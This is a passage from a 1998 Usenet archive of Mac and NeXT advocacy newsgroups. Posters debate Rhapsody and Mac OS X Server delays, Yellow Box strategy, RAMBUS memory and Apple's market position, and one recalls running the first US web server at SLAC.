> dropped when the plans changed in a significant way.
I'm not even sure it did. What I see is that they changed their minds
about what is now DR2 seeing anything other that a developer distribution.
To me the big change is what happens *after* CR1.
> with that; better to adapt to changing conditions than to blindly follow
> through with previous plans. The originally-planned full customer release
> of
> Rhapsody, later modified to Q3, IS LATE.
Yes, but not by much (yet).
> Where I do think Apple has "blown it" is in its handling of the
> positioning
> of Rhapsody, and specifically of Yellow Box, with respect to its long-term
> roadmap. THAT's the problem, and it's a very different one from whether
> they
> ship exactly on time or not.
On the other hand I'm not willing to say they have until I see MacOS-X.
Who knows, they may market YB off the map when it ships. Rhapsody is not
going to be a "big" OS, OS-X will. I can understand them wanting to wait
until then before hyping anything about it. I just wish it weren't so far
in the future.
Maury
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 21:11:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70limg$rgq$1@nnrp1.dejanews.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <362E0210.D5392CC6@ericsson.com> <nagleF16tA5.Itp@netcom.com>
nagle@netcom.com (John Nagle) wrote:
> There's a word for people who believe Apple's OS preannouncements.
> Suckers.
> I mean, really; they've blown it every time since the days of the
> 68K microkernel.
I think that's being unduly harsh, at least for recent times. Both OS8 and
OS8.5 were shipped when Apple said they would be.
As far as Rhapsody/OSX Server, i wouldn't characterize the problem as their
having "blown it". The originally-planned "premier" release of Rhapsody was
dropped when the plans changed in a significant way. I don't have a problem
with that; better to adapt to changing conditions than to blindly follow
through with previous plans. The originally-planned full customer release of
Rhapsody, later modified to Q3, IS LATE. Is it late because Apple has "blown
it"? From a technical perspective, the answer seems to be no. The problem
they seem to be having now is a marketing one.
Where I do think Apple has "blown it" is in its handling of the positioning
of Rhapsody, and specifically of Yellow Box, with respect to its long-term
roadmap. THAT's the problem, and it's a very different one from whether they
ship exactly on time or not.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.next.advocacy
Subject: Avie's next.
From: Robert Nicholson <steffi@shell8.ba.best.com>
Date: 21 Oct 1998 15:02:48 -0700
Message-ID: <yl3u30xvaif.fsf@shell8.ba.best.com>
Looks like Avie takes the stand as the DOJ's next witness. It will be
interesting to see if MS can put words in his mouth also.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: To be the Sony of the computer business
Date: Thu, 22 Oct 1998 20:24:27 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2210982024270001@r4149.resnet.cornell.edu>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <70nk6p$41a@newsb.netnews.att.com>
In article <70nk6p$41a@newsb.netnews.att.com>,
gupta@knim.tm.tta.moc-mirror after @ wrote:
> Today's MacSurfer link to Fortune magazine are worth following :
> it gives some insight into what Steve Jobs may be thinking.
>
> http://www.pathfinder.com/fortune/1998/981109/job.html.
>
> Some soundbites from Steve Jobs
>
> "The whole strategy for Apple now is, if you will, to be the Sony
> of the computer business".
Is that much different from trying to be the MagLite of the computer business?
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
Education, n. That which discloses to the wise and disguises
from the foolish their lack of understanding.
-Ambrose Bierce
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 23 Oct 1998 04:19:51 GMT
Organization: University of Maryland, College Park
Message-ID: <70p057$er4$1@hecate.umd.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F18H47.Bq9@T-FCN.Net> <70omiv$qf9$2@hecate.umd.edu> <70ou35$236i$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: : I'm still waiting for someone to clearly explain "why RAMBUS" to me.
: : From the bandwidth numbers I have seen, it's roughly equivalent to other
: : types of RAM, it has the extra overhead for signaling protocol. Perhaps
: : the reduced pincount will more than make up for the area in cost savings,
: : or perhaps multiple independant channels will provide the 2X or 4X
: : bandwidth for larger systems.... I'm not exactly sure.
: : : Maury
: There are a few reasons for going to something like RAMBUS. One
: is to allow an increase in bandwidth while keeping pin counts low.
: Another is to allow high bandwidth in systems that don't need really
: large main memories. With 256 MBit and 1 GBit SDRAMs coming soon, you
: would be able to construct a system that has anywhere from 32 MB
: to 128 MB of memory using a single SDRAM. However each individual SDRAM
: chip has low bandwidth, so you wouldn't be able to construct a high
: bandwidth system. You would have to resort to using multiple
: DRAM chips in parallel to get higher bandiwdth. That would result in a
: loss of granularity in terms of the memory size. If you wanted to
: build or upgrade a system using 1 GBit SDRAMs, you would have to do it in
: say 0.5 GB increments. That clearly is unattractive because it would
: take up more space and be more expensive.
: Anil
Well, I'm still waiting for a "slam dunk" type of convincing argument.
Thus far, I see RAMBUS promising to be better, and it does appear at
the very least to be at least marginally better. However, I'd like to
get an explanation that I can use to explain to laymen "why RAMBUS".
As it is, I am having a hard enough time to explain to my friend why
EDO SIMMS aren't supported on the latest 440BX motherboards, and why
he should buy PC100 SDRAM DIMMS. Then in 2 years, I'm supposed to
tell him to buy RAMBUS RAM....
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: To be the Sony of the computer business
Date: Fri, 23 Oct 1998 00:38:46 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-2310980038460001@ppp180.blackbox1-mfs.netaxs.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <70nk6p$41a@newsb.netnews.att.com> <ericb-2210982024270001@r4149.resnet.cornell.edu> <01bdfe2a$27f06770$06387880@chewy>
Mail-Copies-To: jayfar@netaxs.com
In article <01bdfe2a$27f06770$06387880@chewy>, "Todd Heberlein (todd at
NetSQ dot com)" <todd@dev.null> wrote:
| Eric Bennett <ericb@pobox.com> wrote
| > > "The whole strategy for Apple now is, if you will, to be the
| > > Sony of the computer business".
| >
| > Is that much different from trying to be the MagLite of the
| > computer business?
|
| I think it is. Amelio talked about surviving as a company with just a
| small number of sales. He used the comparison of MagLite and high
| performance sports cars.
|
| The problem I had with [what I believed] was Amelio's vision is that
| small isn't OK for the computer business.
But don't forget, Amelio's vision included clones, with Apple retaining a
sizeable share of a gradually growing MacOS platform. I'm a little fuzzy
on my recall of Amelio's early keynotes and interviews as to whether he
really meant for Apple to remain shrunken; I think his point about MagLite
was more to the strength of Apple's long rep for high quality.
| You cannot attract new
| developers with small marketshare for your API. NeXT knew this when it
| chose to bring OpenStep APIs to Windows (although it blew it with the
| price), and Sun knew this when they brought Java out for Windows and
| other platforms.
|
| Sony still has high volume sales.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: To be the Sony of the computer business
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <F16M4M.74s@T-FCN.Net>
<362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com>
<70nk6p$41a@newsb.netnews.att.com> <ericb-2210982024270001@r4149.resnet.cornell.edu>
Message-ID: <XpUX1.6982$yb5.4477404@news.rdc1.sdca.home.com>
Date: Fri, 23 Oct 1998 05:24:07 GMT
NNTP-Posting-Date: Thu, 22 Oct 1998 22:24:07 PDT
Organization: @Home Network
In <ericb-2210982024270001@r4149.resnet.cornell.edu> Eric Bennett wrote:
> In article <70nk6p$41a@newsb.netnews.att.com>,
> gupta@knim.tm.tta.moc-mirror after @ wrote:
>
> > Today's MacSurfer link to Fortune magazine are worth following :
> > it gives some insight into what Steve Jobs may be thinking.
> >
> > http://www.pathfinder.com/fortune/1998/981109/job.html.
> >
> > Some soundbites from Steve Jobs
> >
> > "The whole strategy for Apple now is, if you will, to be the Sony
> > of the computer business".
>
> Is that much different from trying to be the MagLite of the computer
business?
>
>
Over-simplification... it's an economic framework which benefits Sony/Apple
from structured margins. They'll own the bottom/entry/consumer market and
the high-end/professional/commercial markets ± everything inbetween is
leftovers. Margins at the top and bottom of the framework do not suffer
incrementalism of the middle.
I like the MagLite soundbite... it just doesn't have that ring of truth.
-r
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 23 Oct 1998 01:36:31 GMT
Organization: University of Maryland, College Park
Message-ID: <70omiv$qf9$2@hecate.umd.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F18H47.Bq9@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: In <70m49j$u8h$2@hecate.umd.edu> David T. Wang wrote:
: > I'm not sure if anyone is interleaving SDRAM at this time, it would
: > probablly add very little performance for very little cost. If anyone's
: > doing it, it would have to be in a server somewhere.
: Sorry, is that what you meant to say - low cost, low benefit?
Uh, no, I meant to say, a lot of money for little benefit. new board
design, chipset, blah, blah, blah.
: > edge of a transistor. The difference is in the added RAMBUS interface.
: > currently the first generation of RAMBUS chips has something like a 30%
: > area overhead for the interface. RAMBUS claims that it can eventually
: > be reduced to something like 5% area overhead, which makes it cost
: > competative with plain DRAM.
: Do you know (or have a pointer to) the physics behind it? What allows
: them to get the data out onto the bus faster? Or is this an opposite
: issue, that the protocols on SD slow it down?
I found it useful to read the papaganda papers on rambus' own web site.
try this one, and see if it helps.
http://www.rambus.com/docs/drtechov.pdf
In a sense, RAMBUS uses a different signaling protocol, as well as
removing the need for a globally synchronus signal, as the RAMBUS
modules send the clock signal along with the clock, since the clock
travels along the same path as the data, the skew is minimized
(hopefully)
: As I understand it SD works basically by requesting blocks of memory to
: be transfered. The SD "fills out" the request. Is this basically correct?
SDRAM is interally multibanked to deliver a burst fill to a cache line,
that is correct, there are variations to this theme, but minor, as far as
I can tell. I found this IBM page enormously helpful to me whne I read it
a while ago.
http://www.chips.ibm.com/products/memory/sdramart/sdramart.html
: If so, is the primary difference here that the RAMBUS protocol is better at
: this, or faster?
I'm still waiting for someone to clearly explain "why RAMBUS" to me.
From the bandwidth numbers I have seen, it's roughly equivalent to other
types of RAM, it has the extra overhead for signaling protocol. Perhaps
the reduced pincount will more than make up for the area in cost savings,
or perhaps multiple independant channels will provide the 2X or 4X
bandwidth for larger systems.... I'm not exactly sure.
: Maury
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: To be the Sony of the computer business
Date: 23 Oct 1998 02:09:42 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdfe2a$27f06770$06387880@chewy>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <70nk6p$41a@newsb.netnews.att.com> <ericb-2210982024270001@r4149.resnet.cornell.edu>
Eric Bennett <ericb@pobox.com> wrote
> > "The whole strategy for Apple now is, if you will, to be the
> > Sony of the computer business".
>
> Is that much different from trying to be the MagLite of the
> computer business?
I think it is. Amelio talked about surviving as a company with just a
small number of sales. He used the comparison of MagLite and high
performance sports cars.
The problem I had with [what I believed] was Amelio's vision is that
small isn't OK for the computer business. You cannot attract new
developers with small marketshare for your API. NeXT knew this when it
chose to bring OpenStep APIs to Windows (although it blew it with the
price), and Sun knew this when they brought Java out for Windows and
other platforms.
Sony still has high volume sales.
Just my $0.02,
Todd
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 23 Oct 1998 01:38:41 GMT
Organization: University of Maryland, College Park
Message-ID: <70omn1$qf9$3@hecate.umd.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F18w9y.K6F@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: In <rbarris-ya023280002210981125330001@206.82.216.1> Rob Barris wrote:
: > Rambus is a point to point interface, you can't easily hang 8 or 12
: > Rambus sockets off of one bus as is done with DRAM/SDRAM as we know it
: > today. I think if you want to have multiple banks you need more ports at
: > the processor end to talk to each channel independently.
: Ahhh, that's interesting. What are the ports on the CPU end like? Is it
: basically a membus<>cache controller?
: > So not only the protocol is a little different, but the electricals are
: > different too. It's a relatively narrow datapath being clocked at a rate
: > 5-6 times higher than any run of the mill wide DRAM bus, this leads to
: > lots
: > of interesting PCB layout issues (precise trace lengths etc) but that is
: > the tradeoff that they make for the increased bandwidth.
: Right. Is the primary idea of the faster clock rate to reduce latency?
: Or is the low latency a side effect of something else entirely?
AFAIK, RAMBUS doesn't solve latency problems. The critical first word
would still take just as long. It's a bandwidth issue.
: Maury
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Tired Old MacOS API's (was Re: Mac OS X Server)
Date: Thu, 22 Oct 1998 23:00:13 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2210982300150001@1cust130.tnt1.santa-barbara.ca.da.uu.net>
References: <F170C6.Epu@T-FCN.Net> <B253CCA3-29A64@206.165.43.156> <F18FLy.Ap7@T-FCN.Net> <petrichF19Fpo.H34@netcom.com> <70oujf$hdg$3@news.idiom.com>
In article <70oujf$hdg$3@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
> Yeah, I'm glad that my days of writing code to the Mac toolbox APIs are about
> seven years behind me now. The big shock in going to NeXTStep
> (capitalization indicates when I made the switch!) was realizing how much
> code I didn't have to write myself anymore.
Yup, I am not a programmer, and was amazed at how little time it took me
to write a gui app in openstep.
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 22 Oct 1998 19:32:40 -0700
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2210981932410001@1cust63.tnt4.redmond.wa.da.uu.net>
References: <F18x3x.Kq6@T-FCN.Net> <B254E870-62DAF@206.165.43.221>
>
>But how many of the original Thought Police are still at Apple?
You don't get it, do you? The point is that Apple should
not have needed to divert significant resources and time
to work on an interface for a *DEVELOPER RELEASE*. They
did. Thus, the delay.
And of
>those, how many are in positions of authority? Remember, according to Chris
>Espinoza, as cited in MacTech, when Jobs returned, former NeXT employees
>were counted as Apple employees from the day they went to work for NeXT,
>which gave many NeXT employees seniority over everyone at Apple.
>
So what? Where do you think the people at NeXT worked
before NeXT was started? Is this your way of starting
an anti-NeXT thread?
Best Regards,
CaHand
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 22 Oct 1998 19:32:58 -0700
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2210981932580001@1cust63.tnt4.redmond.wa.da.uu.net>
References: <ch3-2210980911310001@1cust32.tnt3.redmond.wa.da.uu.net> <B254BAC2-17693@206.165.43.59>
> Applications developers sell 10's of millions of copies of
>their software and have a pretty good idea what makes a Mac app a Mac app.
>
Apple defines the interface, not Old Gaurd developers.
This is the beauty of the Yellow Box. It's going to
be much more difficult for developers to create crappy
user interfaces.
>If THEY don't like the look and feel fo the OS, it is a pretty good bet
>that the end-user will hate it.
DEVELOPER RELEASE. You know what that means right? Work
in progress, incomplete, etc. etc. Why should Apple have
to stop working on more important things(upgrading BSD,
EOF, Java, Mach, etc. etc. etc.) so they can once again
explain "this is a developer release, the interface is
a work in progress."
Best Regards,
CaHand
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Thu, 22 Oct 1998 23:45:12 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2210982345120001@jchristie.halifaxcable.dal.ca>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <slrn72uspr.8l5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn72uspr.8l5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> * Continue to develop and *sell* Full-Fledged OpenStep, and get it
> ported to Mac hardware ASAP, and then start selling it.
One of the main reasons they could not keep doing this is because of
the target markets. The prices are so vastly different between OpenStep,
YB and OS X that marketing and customer relations would become a
nightmare.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to make nice, polite
academic related replies via email.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: To be the Sony of the computer business
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <70nk6p$41a@newsb.netnews.att.com> <ericb-2210982024270001@r4149.resnet.cornell.edu> <01bdfe2a$27f06770$06387880@chewy>
Message-ID: <362ff040.0@news.depaul.edu>
Date: 23 Oct 98 02:56:00 GMT
In comp.sys.next.advocacy Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> I think it is. Amelio talked about surviving as a company with just a
> small number of sales. He used the comparison of MagLite and high
> performance sports cars.
> The problem I had with [what I believed] was Amelio's vision is that
> small isn't OK for the computer business. You cannot attract new
> developers with small marketshare for your API. NeXT knew this when it
> chose to bring OpenStep APIs to Windows (although it blew it with the
> price), and Sun knew this when they brought Java out for Windows and
> other platforms.
Apple's marketshare is hardly NeXT's - iMacs alone outnumber NeXTStep
boxes already. Yes, this is dwarfed by the number of Windows seats,
but Apple is hardly in the position that NeXT was in. Another problem
with NeXT was that most of the customers were corporate, which
kills the market for lots of kinds of software, thus shrinking
an already-small market even more. Apple's market isn't as narrow,
and is definitely less 'high-end'.
The question is, what's the magic marketshare? Where does it become
self-sustaining?
In other words, small is relative. Apple's marketshare is huge,
compared to NeXT, SGI, Sun, Acorn, etc. The problem is to find
the point that separates 'too small' from 'just right', the
point where Apple sells enough product to inspire software
support, and software developers can charge prices competitive
with Windows apps.
It would help if Apple could assist developers in making sales,
reducing the cost of each sale as much as possible.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Fri, 23 Oct 1998 02:16:20 +0000
Content-Transfer-Encoding: 7bit
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com>
Content-Type: text/plain; charset="US-ASCII"
Organization: BM
Mime-Version: 1.0
Message-ID: <70p6id$97p$1@birch.prod.itd.earthlink.net>
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Actions speak louder than words. Ship Rhapsody and shut people like me
>*up*. Make me lose $200 to mmalcolm crawford. Make me eat my words.
>Bring it on. Nothing would make me happier.
Tokyo Seybold Keynote Report (Oct. 21, 1998)
<http://www.macintouch.com/seybold1998tokyo.html>
During the question and answer session at the end, an audience member asked why
Mac OS X Server was missing from the OS roadmap slide. Martin [Jim Martin
Apple's Senior Director of Design and Publishing Marketing] made it very clear
MacOS X Server was alive and well, however: "We came to the conclusion with our
developers that the best strategy is come out with that (MacOS X Server) in '99
and make sure that it has the right hardware design, the right software on it,
like Web Objects, and do it right rather than try to do it too quickly."
He says, 1999; not November 28, 1998.
Ziya Oz
From: pfkeb@libra.slac.stanford.edu (Paul F. Kunz)
Newsgroups: comp.sys.next.advocacy
Subject: Early Web expericence
Date: 22 Oct 1998 20:04:53 -0700
Message-ID: <7tzpaoq8q2.fsf@libra.slac.stanford.edu>
Hello folks, remember me? Probably not since I've not been active
in NeXTStep stuff for a long while.
Can someone help me with some history. The first Web server and
browser was on a NeXT Cube. That, members of the newsgroup know.
I've seen this Cube many times, the first being in September 1991 in
Tim Bernier Lee's office at CERN where I got my first demonstration of
the web from him. Wasn't much of a Web then, as I think all the Web
servers were at CERN. By the way, that machine is currently under glass
showcase just outside the CERN #1 cafeteria. My wife took pictures of
it the last time she was at CERN with me.
The first American Web server, in the fact the first server outside
of Europe and within the first dozen in the world was here at my site
which I installed and got running on December 12, 1991. This has been
confirmed by Tim and his colleagues who still work at CERN. And I've
got a copy of the e-mail I sent to Tim announcing this installation
and asking him to give it a try. So forget about what the www.w3c.org
history pages say, the above is the truth. That is the history pages
say that I installed a Web server much earlier than I really did.
But what I don't know, is whether anybody else outside of Europe
had downloaded the NeXT browser software to their NeXT and given it a
try before I did it. I remember that about July or so in 1991, Tim
posted an annoucement to the a NeXT related newsgroup that the www
software was available. I ignored that announcement, as most of you
who were into NeXT at time did as well. Boy, did we miss the next
big thing!
I can easily imagine that someone out there didn't ignore Tim's
annoucement and actually gave it a try. At the time, the NeXT
newsgroups had thousands of readers. If so, you might be able to have
a claim to fame as being the first person outside of Europe to use a
Web browser. It wouldn't have been a very exciting experience as all
the Web servers at the time gave you information that was interesting
only to High Energy physicists like myself. But maybe you still read
this newsgroup. If so, please speak up, I'd like to know who you are.
If I can't find this person, or he/she doesn't exist, then I guess
I'm am the first person to use a Web browser outside of Euorpe. I
doubt that this is true, but I can't prove it. So is there any member
of this newsgroup that used the Web before September 1991?
There are people who really would like to know the answer to this
question. It's really trivia, IMHO, but some people want to know.
This includes my 80+ year mother who browses the web almost daily.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <slrn72uspr.8l5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <*johnnyc*-2210982345120001@jchristie.halifaxcable.dal.ca>
Message-ID: <362ff60a.0@news.depaul.edu>
Date: 23 Oct 98 03:20:42 GMT
In comp.sys.next.advocacy John Christie <*johnnyc*@or.psychology.dal.ca> wrote:
> In article <slrn72uspr.8l5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> mbkennel <replace this with '@'> yahoo.com wrote:
> > * Continue to develop and *sell* Full-Fledged OpenStep, and get it
> > ported to Mac hardware ASAP, and then start selling it.
> One of the main reasons they could not keep doing this is because of
> the target markets. The prices are so vastly different between OpenStep,
> YB and OS X that marketing and customer relations would become a
> nightmare.
They could just market it to their existing OpenStep sites, and
possible drop the price. No need to try to sell it to the Mac
crowd. It'd be a specialty item, for those who need it, sort
of like A/UX, or their emulation software that ran on other
brand Unixes.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Tired Old MacOS API's (was Re: Mac OS X Server)
Message-ID: <petrichF19Fpo.H34@netcom.com>
Organization: Netcom
References: <F170C6.Epu@T-FCN.Net> <B253CCA3-29A64@206.165.43.156> <F18FLy.Ap7@T-FCN.Net>
Date: Fri, 23 Oct 1998 03:15:24 GMT
Sender: petrich@netcom18.netcom.com
In article <F18FLy.Ap7@T-FCN.Net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
... Lawson, the MacOS
>API's are old and tired. They NEED to GO! ...
I agree -- I've been doing some dialog-box programming, and I find
it annoying to have to write a lot of app-level event-dispatching code.
And I will be more than happy to say good riddance to cooperative
multitasking.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 23 Oct 1998 03:44:37 GMT
Organization: University of Illinois at Chicago
Message-ID: <70ou35$236i$1@piglet.cc.uic.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F18H47.Bq9@T-FCN.Net> <70omiv$qf9$2@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: I'm still waiting for someone to clearly explain "why RAMBUS" to me.
: From the bandwidth numbers I have seen, it's roughly equivalent to other
: types of RAM, it has the extra overhead for signaling protocol. Perhaps
: the reduced pincount will more than make up for the area in cost savings,
: or perhaps multiple independant channels will provide the 2X or 4X
: bandwidth for larger systems.... I'm not exactly sure.
: : Maury
There are a few reasons for going to something like RAMBUS. One
is to allow an increase in bandwidth while keeping pin counts low.
Another is to allow high bandwidth in systems that don't need really
large main memories. With 256 MBit and 1 GBit SDRAMs coming soon, you
would be able to construct a system that has anywhere from 32 MB
to 128 MB of memory using a single SDRAM. However each individual SDRAM
chip has low bandwidth, so you wouldn't be able to construct a high
bandwidth system. You would have to resort to using multiple
DRAM chips in parallel to get higher bandiwdth. That would result in a
loss of granularity in terms of the memory size. If you wanted to
build or upgrade a system using 1 GBit SDRAMs, you would have to do it in
say 0.5 GB increments. That clearly is unattractive because it would
take up more space and be more expensive.
Anil
: --
: davewang@kagututi.kecl.ntt.co.jp.meaningless
: All statements are personal opinions
: Not speaking for NTT or University of Maryland
: Nara, Japan.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Early Web expericence
Date: 23 Oct 1998 03:50:26 GMT
Organization: Idiom Communications
Message-ID: <70oue2$hdg$2@news.idiom.com>
References: <7tzpaoq8q2.fsf@libra.slac.stanford.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: pfkeb@libra.slac.stanford.edu
Paul F. Kunz may or may not have said:
-> Hello folks, remember me? Probably not since I've not been active
-> in NeXTStep stuff for a long while.
Sure! You're the guy who first tried to re-implement the Appkit on top of
Motif, too!
I'm not sure when I first ran www.app, but I think I got it from "a disk
called wanda", so it had been around for a while.
I *can* claim to have run the first ever web browser, but I'm sure I'm not
the first person in the USA to have done so.
BTW, what happened to the cube that you put the first httpd in america on?
Is it serving mail and news somewhere at SLAC, or is it under glass
somewhere, too?
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Tired Old MacOS API's (was Re: Mac OS X Server)
Date: 23 Oct 1998 03:53:19 GMT
Organization: Idiom Communications
Message-ID: <70oujf$hdg$3@news.idiom.com>
References: <F170C6.Epu@T-FCN.Net> <B253CCA3-29A64@206.165.43.156>
<F18FLy.Ap7@T-FCN.Net> <petrichF19Fpo.H34@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: petrich@netcom.com
Loren Petrich may or may not have said:
